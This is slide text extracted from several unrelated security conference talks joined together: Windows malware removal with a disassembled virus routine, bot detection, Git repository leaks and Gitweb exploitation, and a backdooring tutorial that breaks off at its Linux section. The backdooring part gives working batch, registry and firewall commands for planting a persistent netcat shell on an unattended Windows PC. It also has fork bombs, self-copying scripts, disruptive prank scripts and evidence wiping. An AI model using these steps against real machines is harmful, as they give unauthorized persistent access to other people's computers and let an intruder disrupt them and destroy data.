DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Why fight malware on your own?
Why fight malware on your own?
5 reasons:
1. Touch 100% of protection yourself
2. Be prepared for attacks
3. Maintain confidentiality
4. Restore system here and now
5. Time matters
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
What is available in
What is available in W
Windows
indows XP?
XP?
System tools:
Explorer, Task manager, Regedit, SigVerif,…
Console utils: netstat,tasklist,reg,expand…
Interpreters: Batch, JS/VBS
Text editors: notepad,wordpad,edit,edlin,…
Binary editing tool: debug
Symbolic debugger: ntsd
OLE repository
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Email
Email--Worm.Win32.Warezov
Worm.Win32.Warezov
Detected on 15th August, 2006
430 modifications (~25000 of files)
All application data is encrypted
Code mutates very often (server-side
polymorphic engine)
Downloads additional modules from the
Internet
Hides its modules from Task Manager
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Warezov: Infecting the system
Warezov: Infecting the system
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Warezov: Installing KAV 6.0
Warezov: Installing KAV 6.0
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Warezov: What really happened?
Warezov: What really happened?
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Warezov: Inspecting the system
Warezov: Inspecting the system
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Warezov: Manual removal
Warezov: Manual removal
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Warezov: Resistance
Warezov: Resistance to
to manual
manual
removal
removal
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Analysis
Analysis
1. Malware restores registry values when the
application terminates (seems to be when
malicious dll is unloaded)
2. There is a set of processes running/closing
from time to time. So the routine is called
several times.
3. The value is restored only if it doesn’t exist.
4. Looks like the malware uses one of the
following functions: strstr/wcsstr/CString::Find,
strtok or its own substring find routine
We can hack the
malware removal
resistance
mechanism!
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Warezov: Hacking the resistance to
Warezov: Hacking the resistance to
manual removal
manual removal
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Trojan.Win32.Agent.ach
Trojan.Win32.Agent.ach
Detected on 12th December, 2006
Made in Japan
Silently removes itself after being run
Suspends running destructive functionality until
the following Friday, and after that:
Disables pressing Ctrl-Alt-Delete
Disables running any executable file from shell
Disables system shutdown/reboot
If you try hard-reboot, it disables loading the system in any
available mode
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Agent.ach
Agent.ach: Infecting the system
: Infecting the system
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Agent.ach
Agent.ach: Infection symptoms
: Infection symptoms
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Hard reset result
Hard reset result -- time matters!
time matters!
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Agent.ach
Agent.ach: Inspecting the system
: Inspecting the system
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Agent.ach
Agent.ach: Removing the malware
: Removing the malware
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Agent.ach
Agent.ach: Control check
: Control check
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Virus.Win32.Saburex.a
Virus.Win32.Saburex.a
Detected on 10th December, 2006
The virus infects executable files located on a
hard disk partition which is selected at random
Injects own DLL into every process that has
visible window
Injected DLL makes screenshots of active
windows on the victim machine, encrypts them,
and publishes them on a website
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Saburex
Saburex: Getting the code
: Getting the code
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Saburex
Saburex: Code listing
: Code listing
push ebp
mov ebp,esp
sub esp,0x318
push ebx
push esi
push edi
push 0x100
lea eax,[ebp-0x204]
push eax
push 0x0
call
dword ptr [kernel32!GetModuleFileNameA
(7c80b357)]
push 0x0
push 0x0
push 0x3
push 0x0
push 0x3
push 0x80000000
lea ecx,[ebp-0x204]
push ecx
call dword ptr [kernel32!CreateFileA (7c801a24)]
mov [ebp-0x318],eax
push 0x2
push 0x0
push 0xf8
mov edx,[ebp-0x318]
push edx
call
dword ptr [kernel32!SetFilePointer (7c810da6)]
push 0x0
lea eax,[ebp-0x314]
push eax
push 0x8
lea ecx,[ebp-0x310]
push ecx
mov edx,[ebp-0x318]
push edx
call dword ptr [kernel32!ReadFile (7c80180e)]
push 0x2
push 0x0
mov eax,0xfffffff8
sub eax,[ebp-0x310]
push eax
mov ecx,[ebp-0x318]
push ecx
call
dword ptr [kernel32!SetFilePointer (7c810da6)]
mov edx,[ebp-0x310]
push edx
push 0x0
call dword ptr [kernel32!LocalAlloc (7c8099bd)]
mov [ebp-0x4],eax
mov eax,[ebp-0x30c]
push eax
push 0x0
call
dword ptr [kernel32!LocalAlloc (7c8099bd)]
mov [ebp-0x308],eax
push 0x0
lea ecx,[ebp-0x314]
push ecx
mov edx,[ebp-0x310]
push edx
mov eax,[ebp-0x4]
push eax
mov ecx,[ebp-0x318]
push ecx
call
dword ptr [kernel32!SetFilePointer (7c810da6)]
mov edx,[ebp-0x4]
mov dword ptr [edx],0x4643534d
mov eax,[ebp-0x310]
push eax
mov edx,[ebp-0x308]
mov ecx,[ebp-0x4]
call KODAKIMG+0x1060 (00401060) Subroutine_1
lea ecx,[ebp-0x104]
push ecx
push 0x100
call dword ptr [kernel32!GetTempPathA (7c8221cf)]
lea edx,[ebp-0x304]
push edx
push 0x0
push 0x401434
lea eax,[ebp-0x104]
push eax
call
dword ptr [kernel32!GetTempFileNameA (7c8606df)]
push 0x0
push 0x0
push 0x2
push 0x0
push 0x2
push 0x40000000
lea ecx,[ebp-0x304]
push ecx
call dword ptr [kernel32!CreateFileA (7c801a24)]
mov [ebp-0x318],eax
push 0x0
lea edx,[ebp-0x314]
push edx
mov eax,[ebp-0x30c]
push eax
mov ecx,[ebp-0x308]
push ecx
mov edx,[ebp-0x318]
push edx
call dword ptr [kernel32!WriteFile (7c810f9f)]
mov eax,[ebp-0x318]
push eax
call dword ptr [kernel32!CloseHandle (7c809b77)]
mov edi,0x401054
lea edx,[ebp-0x304]
or ecx,0xffffffff
xor eax,eax
repne scasb
not ecx
sub edi,ecx
mov esi,edi
mov ebx,ecx
mov edi,edx
or ecx,0xffffffff
xor eax,eax
repne scasb
add edi,0xffffffff
mov ecx,ebx
shr ecx,0x2
rep movsd
mov ecx,ebx
and ecx,0x3
rep movsb
lea edi,[ebp-0x204]
lea edx,[ebp-0x304]
or ecx,0xffffffff
xor eax,eax
repne scasb
not ecx
sub edi,ecx
mov esi,edi
mov ebx,ecx
mov edi,edx
or ecx,0xffffffff
xor eax,eax
repne scasb
add edi,0xffffffff
mov ecx,ebx
shr ecx,0x2
rep movsd
mov ecx,ebx
and ecx,0x3
rep movsb
push 0x0
push 0x0
lea eax,[ebp-0x304]
push eax
push 0x401048
push 0x0
push 0x0
call dword ptr [SHELL32!ShellExecuteA (7ca40e80)]
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Saburex
Saburex: Analysis
: Analysis
Src PE Header
Src Sections
Virus PE Header
Src Sections
Virus Section
Compressed
chunk of src file
Compressed
virus module
Source File
Infected File
Src PE Header
Src Sections
Cured File
compress
decompress
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Simple PE Structure
Simple PE Structure
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Saburex
Saburex: Curing tool in machine code
: Curing tool in machine code
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Saburex
Saburex: Applying the tool
: Applying the tool
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
System evolution
System evolution
1. MS DOS
1970th
1980
2. Windows NT
Unix
3. Windows 9x/ME
4. Windows 2000
5. Windows XP
1990
2000
2001
2007
6. Windows Vista
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Microsoft.NET
Microsoft.NET in the wild
in the wild
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Sniffing malware communication
Sniffing malware communication
Methods:
Analysis of Windows network monitor
Catching DNS requests (server emulation)
Catching HTTP request (server emulation)
Implementing IP packet filter
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Trojan
Trojan--Downloader.Win32.Small.eup
Downloader.Win32.Small.eup
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Packet Filtering Explained
Packet Filtering Explained
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Backdoor.Win32.IRCBot.ach
Backdoor.Win32.IRCBot.ach
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Advanced techniques
Advanced techniques
Viewing PE header
Ways of terminating a process
Dumping loaded executable image
Extracting string data from binary images
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Viewing PE header
Viewing PE header
How to view PE header of target PE file in
Windows:
1. Run: ntsd <path to target PE file>
2. Locate image base of the loaded module
3. !dh <image base>
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Ways of terminating a process
Ways of terminating a process
Task manager
tasklist + taskkill console apps (starting from
WinXP Pro)
WMI (starting from WinXP) using:
Windows Scripting Host
WbemTest Application
ntsd (starting from NT4)
own pskill-like utility with PID received from:
Qprocess
Msinfo32
Performance monitor
etc.
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Kill
Kill Process:tasklist+taskkill
Process:tasklist+taskkill
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Kill
Kill Process:WMI+WSH
Process:WMI+WSH
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Kill
Kill Process:WMI+WbemTest
Process:WMI+WbemTest
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Kill
Kill Process:ntsd
Process:ntsd
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Kill Process: Own tool in machine code
Kill Process: Own tool in machine code
User code for pskill.exe:
f 1600 1700 90
e 1600 ff,15,04,10,40,00 ,68,00,15,40,00 ,83,c0,04 ,50
e 1610 ff,15,20,10,40,00 ,83,c0,04 ,6a,0a ,6a,00 ,ff,30
e 1620 ff,15,30,10,40,00 ,8B,D8 ,ff,15,08,10,40,00, 3b,c3
e 1630 74,3E ,53 ,6a,00 ,6a,01 ,ff,15,0c,10,40,00 ,6a,00 ,50
e 1640 ff,15,10,10,40,00 ,eb,38
e 1670 33,c0
e 1680 50 ,ff,15,00,10,40,00
Usage:
Pskill.exe <Target Process Id>
Getting Process Id using:
Qprocess
Msinfo32
Performance monitor
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Kill
Kill Process:Getting
Process:Getting PID
PID
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Dumping a process
Dumping a process
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Extracting string data
Extracting string data
var fso=new ActiveXObject("Scripting.FileSystemObject");
var fi=fso.OpenTextFile(WScript.Arguments(0), 1, 0);
var fo=fso.CreateTextFile(WScript.Arguments(1), 1);
var pdb="";
while(!fi.AtEndOfStream) {
var db=fi.Read(1);
if(pdb.length>0) {
if((db.charCodeAt(0)>=32 && db.charCodeAt(0)<=127)) pdb+=db;
else {
if(pdb.length>4) fo.Write(pdb+"\n");
pdb="";
continue;
}
}
else if((db.charCodeAt(0)>=32 && db.charCodeAt(0)<=127)) pdb=db;
}
fo.Close();
fi.Close();
Grab all sequences of
bytes from given file
that form a string
consisting of 3 or more
ASCII characters.
The idea:
JScript implementation:
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Krotten: Bypassing system policies
Krotten: Bypassing system policies
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Fight malware on your own
Fight malware on your own!!
Results:
1. You can touch 100% of protection
2. You are ready for being attacked
3. You can preserve your confidentiality
4. You can restore system here and now
5. You know why time matters
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Questions?
Questions?
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
May the force be with you!
May the force be with you!
Vitaliy
Vitaliy Kamlyuk
Kamlyuk
Senior Virus Analyst
Kaspersky Lab
[email protected]
Fighting malware on your own
Fighting malware on your own | pdf |
Separating Bots from
Humans
Ryan Mitchell
@kludgist
DEF CON 23 August 8th, 2015
Who am I?
● Software Engineer
● Author of two books:
○ Web Scraping with Python (O’Reilly, 2015)
○ Instant Web Scraping with Java (Packt, 2013)
● Engineering grad from Olin College
● Masters student at Harvard University School of
Extension Studies, 2016
A history of this talk
The O’Reilly
Hacking Book:
Separating Bots from Humans
Pro-tips to get what you want:
● Include some market research
● Write it in Python, because it’s really popular
What are Web Scrapers, Bots, etc?
● They can use browsers
● They can take their sweet time
● They can be surprisingly smart
● They can be stunningly idiotic
Why They’re Important
source: https://www.incapsula.com/blog/bot-traffic-report-2014.html
On the Defense Side of Things
(For better or worse)
robots.txt?
● “No Trespassing, please?”
Terms of Service
● “Hey! You said you wouldn’t trespass!”
Headers
● “I’m totally not a bot. Promise”
JavaScript
● Make your site un-indexable for anyone but
the bad guys
Embedding Text in Images
● Oh come on.
● You’re the type of person who writes email
addresses like “m e (at sign) domain . com”
○ And you have duct tape on your laptop’s web cam,
mostly because you never use it.
CAPTCHAs
Annoying
Breakable
Honepots
● Can be effective, if implemented correctly
● Please don’t block the Google bots
Example time!
http://ryanemitchell.com/honeypots.html
Behavioral Patterns
● Now we’re getting somewhere!
● Again, please don’t block the Google bots
IP Address Blocking
● It’s sort of effective… If they didn’t really care
in the first place
● Lists are a pain to maintain
● You can easily block the good guys
On the Attack Side of Things...
Targeted vs. Non-Targeted Attacks
● Non-targeted: Also known as, “look for
/phpMyAdmin”
● Targeted, usually to get proprietary data
OCR
● Works best on relatively normal text
● Can be used to solve CAPTCHAs
○ Time consuming to create training data. Have a
series or two of a TV show ready
OCR Training Tool
● Everything you need to solve a CAPTCHA!
https://github.com/REMitchell/tesseract-trainer
JavaScript Execution
● Selenium
● PhantomJS
Honeypot Avoidance
● Better than you might expect -- it’s biggest
weakness is color
https://github.com/REMitchell/python-
scraping/blob/master/chapter12/3-
honeypotDetection.py
Stop Caring!
● Bot-proofing sites is way too much work, and
often impedes accessibility
● Is your data really that valuable?
○ Consider API costs, ease of use -- make it more
attractive to pay for data
● If your application is vulnerable to automated
attacks, it’s vulnerable, period.
Question time! | pdf |
2015.11 by phithon
被Git打破的
企業安全大門
Who am I
• phith0n
• 乌云核⼼心⽩白帽⼦子/XDSEC成员
• 从事Web安全/运维安全研究
What is GIT
刪除
增加
增加
phithon@fake-demo:~$ git add .
phithon@fake-demo:~$ git commit
Finish
Git是⼀一个分布式版本控制软件
在开发中运⽤用git可以⽅方便地进⾏行团队协作、敏捷开发
GIT与信息安全
• Github造成的企业敏感信息泄露
• web⺫⽬目录/.git/访问造成的源码泄露
• 内⺴⽹网Git未授权访问造成敏感信息泄露
• Github造成的企业敏感信息泄露
• web⺫⽬目录/.git/访问造成的源码泄露
• 内⺴⽹网Git未授权访问造成敏感信息泄露
当最單純的人遇上了最邪惡的人
案例 / 某电商宁⼿手机客户端源码泄露
案例 / 某电商宝内⺴⽹网邮箱泄露导致漫游
http://www.wooyun.org/bugs/wooyun-2014-062243
Github Hacking Skill
• 关键词搜索: password、@domain.com、salt、BEGIN RSA
PRIVATE KEY、smtp
• “@domain-inc.com in:file” 在所有代码中搜索内⺴⽹网邮箱
• “id_rsa in:path” 获得结果18534个
• “password language:yaml” 获得结果784327个
• “password size:<100 language:php” 利⽤用常⻅见情况搜索
• “smtp file:config extension:php” 组合条件搜索
• “include($_GET[]);” 搜索可能存在任意⽂文件包含漏洞的代码
• 开源诚可贵,安全价更⾼高
• 对密码的敏感性
• .gitignore的重要性!!
• Github造成的企业敏感信息泄露
• web⺫⽬目录/.git/访问造成的源码泄露
• 内⺴⽹网Git未授权访问造成敏感信息泄露
• Github造成的企业敏感信息泄露
• web⺫⽬目录/.git/访问造成的源码泄露
• 内⺴⽹网Git未授权访问造成敏感信息泄露
从GIT原理講起
“为什么我们能够从泄露的.git⺫⽬目录还原出⺴⽹网站源
码?”
git init
git add .
git commit
1、创建.git⺫⽬目录
2、初始化.git⺫⽬目录,写⼊入config等⽂文件
3、为每⼀一个改动的⽂文件(⺫⽬目录)创建git object
4、建⽴立commit类型objects
5、更新HEAD指向的revision
git objects文件格式
git objects文件格式
blob
blob 25\x00This is the README file.\n
tree
tree 192\0
40000 admin\0 a84943494657751ce187be401d6bf59ef7a2583c
40000 static\0 14f589a30cf4bd0ce2d7103aa7186abe0167427f
40000 core\0 ec559319a263bc7b476e5f01dd2578f255d734fd
100644 index.php\0 97e5b6b292d248869780d7b0c65834bfb645e32a
40000 application\0 6e63db37acba41266493ba8fb68c76f83f1bc9dd
git objects還原
方法2、
读取并解析objects,从blob中提取源⽂文件
方法3、
解析并依次下载objects,执⾏行git reset还原源⽂文件
方法1、
读取并解析.git/index,依次下载所有⽂文件
最優
git ls-tree <revision>
列出tree对象的所有⼦子对象
方法3、
解析并依次下载objects,执⾏行git reset还原源⽂文件
git cat-file -p <revision>
列出blob对象的内容
git reset
还原整个GIT环境(较其他两法的优势)
找到commit id
找到并下载tree
下载blob
git reset
恢复源⽂文件
GitRefs
运⾏行演⽰示
http://v.qq.com/
page/y/e/l/
y0171fyrxel.htm
l
案例
• WooYun-2015-133666 百度某站漏洞导致敏感信息泄
露Getshell(涉及⾄至少66W+的⽤用户数据含密码可内⺴⽹网)
• WooYun-2015-121319 PHP官⽅方多个分站存在git信息
泄露可读取⼤大量程序源码
• WooYun-2015-117925 盛⼤大某站源码泄露Getshell直
⼊入内⺴⽹网
• WooYun-2015-114272 百度从git信息泄露到getshell
漫游内⺴⽹网
• WooYun-2015-93434 我是如何让周鸿祎/⺩王思聪等关
注我微博的
如何直接利⽤用git⾃自带命令下
载泄露的源码?
提⽰示
git clone的⼯工作流程
http协议的git服务器原理
思考
• Github造成的企业敏感信息泄露
• web⺫⽬目录/.git/访问造成的源码泄露
• 内⺴⽹网Git未授权访问造成敏感信息泄露
• Github造成的企业敏感信息泄露
• web⺫⽬目录/.git/访问造成的源码泄露
• 内⺴⽹网Git未授权访问造成敏感信息泄露
GIT
私有化解决方案
1.服务器存在于内网,代码绝对私
有性可受保障
2.稳定性不受平台影响
3.内网速度快,便于加速团队内部
敏捷开发
4.便于二次开发,可兼容公司内部
认证机制,避免冗余的认证操作
5.公司对平台拥有绝对控制权,避
免出现不必要的纠纷
Gitlab
1.具有成熟的技术支持,减少环境、
运维、迭代的支出
2.具有更加成熟的安全性
Github
私有化GIT解決方案安全性問題
• ⿊黑客进⼊入内⺴⽹网后,GIT⼜又暴露出哪些问题?
• GIT服务权限配置不当
• Gitlab等开源项⺫⽬目的不稳定性
• Gitweb的滥⽤用与漏洞
GIT服務的載體
特点与利⽤用
FILE协议
优点:利⽤用⽂文件系统进⾏行权限限制。
缺点:只允许本地或共享硬盘访问。
SSH协议
优点:基于SSH协议的通⽤用性与安全性。
缺点:权限限制太死,不适合开源软件。
GIT协议
监听9418端⼝口
优点:速度快
缺点:没有授权机制,传输过程也不加密
HTTP(S)协议
优点:适⽤用性⼲⼴广,服务器搭建简单
缺点:传输数据过⼤大,且⽆无权限控制
GIT服務權限配置不当
• GIT服务端权限设置不合理
• 影响协议⽅方式:GIT协议、HTTP(S)协议
• 利⽤用:
• 下载内部项⺫⽬目 git clone git://xxx.com/private/project.git
• 写⼊入任意⽂文件 git push git://xxx.com/private/project.git
• 解决⽅方案:公有/私有项⺫⽬目严格划分,⽤用ssh进⾏行⾝身份认证
Gitlab等開源項目的不穩定性
• 平台易受到传统WEB漏洞影响
• CVE-2014-6271 shellshock漏洞导致的gitlab任意
命令执⾏行漏洞
• CVE-2013-4580 GitLab未经⾝身份验证API访问漏洞
• CNVD-2013-14288 GitLab 'SSH key upload’功能
远程执⾏行代码漏洞
• 解决⽅方案:及时更新/跟进
Gitweb的濫用与漏洞
• gitweb是git⾃自带的web界⾯面(默认端⼝口1234):
• git instaweb —httpd=lighttpd
Gitweb的濫用与漏洞
• Gitweb远程命令执⾏行漏洞演⽰示(CVE-2008-5516)
• http://v.qq.com/page/r/z/l/r0171uj9jzl.html
GIT对于后渗透
的价值
• 源码审计
• 信息收集
• 内⺴⽹网渗透
GIT对于后渗透的价值
• 源码审计
• 信息收集
• git blame filename 查看代码每⼀一⾏行的作者
• git log | grep ".*@.*" | sort -u | uniq 找到所有开发
者及其邮箱地址
• ……
• 内⺴⽹网渗透
What is GIT
开发者:GIT是⼀一个好⽤用的版本控制软件
hacker:GIT是⼀一个信息的⼤大宝库
END
Email: [email protected]
weibo: @phithon别跟路⼈人甲BB
blog: http://www.leavesongs.com/ | pdf |
An Introduction to Backdooring
Operating Systems
Lance Buttars Aka Nemus
DC801
www.dc801.org
www.introtobackdoors.com - Updated Slides
Special Thanks to Natedmac , Metacortex, Grifter,
D3c4f and everyone at DC801
Disclaimer
• The information provided in this presentation is to be
used for educational purposes only.
• I am in no way responsible for any misuse of the
information provided.
• All of the information is to develop a defense attitude
in order to provided insight into possibilities.
• In no way should you use the information to cause
any kind of damage directly or indirectly.
• You implement the information given in this
presentation at your own risk.
• Contact a Lawyer if you have legal questions.
What this presentation
does NOT cover.
• How to hide your backdoor from skilled forensics
investigators.
• How to clean up any logs or breadcrumbs you will
leave behind.
• Any legal Issues you may encounter.
• This is not the best way to deploy a backdoor, but its
good practice in understanding how backdoors work
and what you can do with them.
Perquisites
• Familiarity with Linux command line and
bash shell.
• Familiarity with networking and
firewalls.
• Familiarity with windows CMD and
command line.
Scenario: Target leaves their desk and
their computer is unlocked.
Guess what? This happens right?
So what else could we do?
Lets see how fast we can install a back
door.
Backdooring Windows 7
• Lets set up a backdoor on a Windows 7 system
using netcat.
• For now lets assume the user is logged in with
admin privileges.
Prep Work
• Netcat is not full featured and you will want
more capability. To solve this we will create a
toolkit of portable applications to:
– Download more files or addition software.
– Edit files and make changes.
– Setup the back door quickly
– Execute pranks and control a computer remotely.
•Put your toolkit on a usb drive or host it on a remote
webserver.
Portable Applications
• Portable applications are applications that
have everything they need to run inside there
executable binary.
–They don’t rely on dlls.
–They don’t rely on registry settings.
• Hopefully the don’t leave any either.
–They have a very small footprint on the
operating system because they don’t
require extra setup to run.
Windows 7 Toolkit setup
• gVim
– http://code.google.com/p/vim-
win3264/downloads/detail?name=vim73-x64.
zip&can=2&q=
• Wget (for windows 64 bit)
– http://nebm.ist.utl.pt/~glopes/wget/
• Netcat
– Or from Kali find / -name nc.exe
• http://www.kali.org/
• http://joncraton.org/blog/46/netcat-for-windows/
Hello World of Backdoors
Netcat
•nc.exe -dLp 449 -e cmd.exe
– L This option makes Netcat a persistent listener
which starts listening again after a client
disconnect.
– p Port number that netcat is listening on.
– e Execute a command once a connection has been
received in this example we start a cmd session.
– d This has something to do with making nc silent.
Batch commands to set up persistent
backdoor on Windows 7
@echo
offxcopy "%systemdrive%\%username%\Desktop\nc.exe" "C:
\Windows\System32\" -y
reg add "HKLM\software\microsoft\windows\currentversion\run" /f /v "system" /t
REG_SZ /d "C:\windows\system32\nc.exe -Ldp 449 -e cmd.exe”
netsh advfirewall firewall add rule name="Rule 34" dir=in action=allow
protocol=UDP localport=449
netsh advfirewall firewall add rule name="Allow Messenger" dir=in action=allow
program="C:\windows\system32\nc.exe"
• # you must run these commands with administrator privileges.
Example expanded from
http://www.offensive-security.com/metasploit-unleashed/Persistent_Netcat_Backdoor
Basic Windows CMD
Linux Commands
•
cd - Change directory.
•
pwd - Present working directory.
•
ls - List all files in directory.
•
cat file.txt - Display file contents.
•
wget - Download files from cli.
•
vim - Edit files cli.
•
./scriptname - Run script
•
export PATH=$PATH:/opt/new
- Modify system path to find new
executables
Windows Versions
•
cd
•
pwd
•
dir /p
•
type
•
wget from tool kit
•
vim from tool kit (edit is gone ☹)
•
wscript scriptname.vbs
•
SET PATH=%PATH%;c:\pathtoolkit
CMD Path
c:\> set PATH "%PATH%;C:\bin"
Batch Script To Manage Windows PATH Environment Variable
http://gallery.technet.microsoft.com/Batch-Script-To-Manage-7d0ef21e
VBS Script to start Netcat in the
background.
This is so we don’t have to wait for the user to
restart their computer.
Dim objShellSet objShell = WScript.CreateObject
("WScript.shell")objShell.run "C:\windows\system32\nc.
exe -Ldp 449 -e cmd.exe"Set objShell = Nothing
Connect Using Net cat
nc –v ipaddress port
Verify Netcat backdoor using Process
Explorer (PS)
Download PS http://technet.microsoft.com/en-
us/sysinternals/bb896653.aspx
Download TCPView
http://technet.microsoft.com/en-us/sysinternals/bb897437.aspx
View Connections to your System using
TCPView
Run Command or Batch without cmd
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\mybat.bat" & Chr(34), 0Set WshShell = Nothing
@echo off
start /B mybat.bat
Batch
PowerShell.exe -windowstyle hidden
VBScript
Powershell
Windows Pranks
http://vbscripts.webs.com/pranks
• Let the keyboard type "Hello" continuously
Set wshShell = wscript.CreateObject("WScript.Shell") do
wscript.sleep 100
wshshell.sendkeys "Hello" loop
VBScript save as .vbs
Windows Pranks
http://vbscripts.webs.com/pranks
• Toggle the Caps Lock button continuously
Set wshShell =wscript.CreateObject("WScript.Shell") do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}" loop
VBScript save as .vbs
Spread Garbage Everywhere randomly
Spread every where like a virushttp://www.
instructables.com/id/how-to-make-a-fork-bomb-exe/
:ecopy /Y %0 %random%.bat
start %0%0|%0
goto :e
Batch File save as .bat
Start Notepad continuously
Or start a website continuously
• start "www.example.com"
Batch File save as .bat
http://vbscripts.webs.com/pranks
@echo off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
Make a disco on their keyboard
• This script lights up your scroll lock, caps lock and num
locks LED's and flashes in a cool rhythmic way which
gives the perception of a live disco on your keyboard.
http://vbscripts.webs.com/pranks
Set wshShell =wscript.CreateObject("WScript.Shell")do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"loop
VBScript save as .vbs
Play windows startup tone
Set objVoice = CreateObject("SAPI.SpVoice")
Set objFile = CreateObject("SAPI.SpFileStream.1")
objFile.Open "Windows XP Startup.wav"
objVoice.Speakstream objFile
http://vbscripts.webs.com/pranks
VBScript save as .vbs
Pop Cd Rom Drive
Continually Pop Out the CD drive
Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs =
oWMP.cdromCollectiondo if colCDROMs.Count >= 1 then For i = 0 to
colCDROMs.Count - 1
colCDROMs.Item(i).EjectNext For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject Next End If
wscript.sleep 5000 loop
VBScript save as .vbs
Windows Fork Bomb
• a fork bomb is an attack wherein a process
continually replicates to eat up available
system resources slowing a computer to a
crawl.
• Windows Batch Fork Bomb
@ECHO OFF
:START
START fork.bat
GOTO START
Batch save as .bat
Unclosable File
@echo off
md hello
:A
start hello
goto A
Batch save as .bat
Speak Out Loud to User
Set args = Wscript.Argumentsspeakargtext =
args.Item(0) strText = "your message here"Set
objVoice = CreateObject("SAPI.SpVoice")
objVoice.Speak strText
objVoice.Speak speakargtext
VBScript save as .vbs
Shutdown windows
• %windir%\system32\shutdown.exe -r -t 00
• shutdown -r — restarts
• shutdown -s — shutsdown
• shutdown -l — logoff
• shutdown -t xx — where xx is number of seconds
to wait till shutdown/restart/logoff
• shutdown -i — gives you a dialog box to fill in
what function you want to use
• shutdown -a — aborts the previous shutdown
command
Batch to Exe
• To make your scripts and batch files harder to read.
– This is not foolproof, but helps hide your code.
• Batchor CMD
– http://sourceforge.net/projects/bat2exe/
• VBS
– http://sourceforge.net/projects/htwoo/
• Powershell
– http://ps2exe.codeplex.com/ (beta)
netsh advfirewall
For windows 7
C:\> netsh advfirewall set allprofiles state off
– Turn off windows firewall will notify user
C:\> netsh advfirewall set allprofiles state on
– Turns firewall on
C:\> netsh advfirewall reset
– Reset the firewall back to default
C:\> netsh advfirewall set allprofiles firewallpolicy blockinbound,
allowoutbound
– Block everything
C:\> netsh advfirewall firewall add rule name="HTTP" protocol=TCP
localport=80 action=block dir=IN
– Open Port
C:\> netsh advfirewall firewall delete rule name="HTTP”
– Delete Rule
Schedule commands with “at” for a later time.
\\computername: Use this parameter to specify a remote computer. If you omit this parameter,
tasks are scheduled to run on the local computer.
time: Use this parameter to specify the time when the task is to run. Time is specified as hours:
minutes based on the 24-hour clock. For example, 0:00 represents midnight and 20:30 represents 8:
30 P.M.
/every:date,...: Use this parameter to schedule the task to run on the specified day or days of the
week or month, for example, every Friday or the eighth day of every month.
/next:date,...: Use this parameter to schedule the task to run on the next occurrence of the day (for
example, next Monday). Specify date as one or more days of the week (use the following
abbreviations: M,T,W,Th,F,S,Su) or one or more days of the month (use the numbers 1 through 31).
command: Use this parameter to specify the cmd command, the program (.exe or .com file), or the
batch program (.bat or .cmd file) that you want to run. If the command requires a path as an
argument, use the absolute path name (the entire path beginning with the drive letter). If the
command is on a remote computer, use the Uniform Naming Convention (UNC) path name
(\\ServerName\ShareName). If the command is not an executable (.exe) file, you must precede the
command with cmd /c, for example, cmd /c copy C
Note When you use the at command, the scheduled task is run by using the credentials of
the system account. http://support.microsoft.com/kb/313565
at \\computername time | /every:date,... /next:date,... command
at \\computername id /delete | /delete/yes
Sdelete
(secure delete)
Usage: sdelete [-p passes] [-s] [-q] <file or directory> ...sdelete
[-p passes] [-z|-c] [drive letter] ...
-a Remove Read-Only attribute.
-c Clean free space.
-p passesSpecifies number of overwrite passes (default is 1).
-q Don't print errors (Quiet).
-s or -r Recurse subdirectories.
-z Zero free space (good for virtual disk optimization).
http://technet.microsoft.com/en-us/sysinternals/bb897443.aspx
Backdoor Linux
